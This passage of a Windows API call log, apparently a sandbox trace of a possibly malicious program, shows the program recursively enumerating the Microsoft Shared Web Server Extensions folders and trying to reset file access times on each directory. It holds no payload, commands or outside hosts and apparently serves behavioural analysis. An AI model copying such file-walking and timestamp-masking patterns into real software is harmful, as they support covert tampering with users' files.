ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0055.444] GetLastError () returned 0x12 [0055.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.444] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.445] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0055.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0055.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.446] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.446] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.446] NtClose (Handle=0x170) returned 0x0 [0055.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0055.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06508 [0055.446] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.446] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.446] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0055.446] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0055.447] GetLastError () returned 0x12 [0055.447] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0055.447] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.447] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.447] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0055.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06718 [0055.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06820 [0055.447] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.447] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.447] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.447] NtClose (Handle=0x170) returned 0x0 [0055.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06820) returned 1 [0055.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06820 [0055.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06928 [0055.448] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.448] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.448] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0055.448] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0055.448] GetLastError () returned 0x12 [0055.448] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.448] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.448] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.448] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0055.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06a30 [0055.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06b38 [0055.449] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.449] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.450] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.450] NtClose (Handle=0x170) returned 0x0 [0055.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06b38) returned 1 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06b38 [0055.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06c40 [0055.450] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c38 [0055.450] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.450] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.450] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.451] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0055.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.451] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0055.451] GetLastError () returned 0x12 [0055.451] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cf8 [0055.451] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.451] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.451] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06d48 [0055.451] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06e50 [0055.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17ae614 | out: lpFileInformation=0x17ae614*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.452] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17ae658, lpLastWriteTime=0x17ae658) returned 0 [0055.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.452] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17ae6b0, lpOverlapped=0x0) returned 0 [0055.452] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.452] NtClose (Handle=0x170) returned 0x0 [0055.452] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06e50) returned 1 [0055.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06e50 [0055.452] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06f58 [0055.452] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae460, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae460) returned 0x459c38 [0055.452] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.453] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae460 | out: lpFindFileData=0x17ae460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0055.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.453] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.453] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.453] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf07060 [0055.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04f60 [0055.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf07168 [0055.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.454] 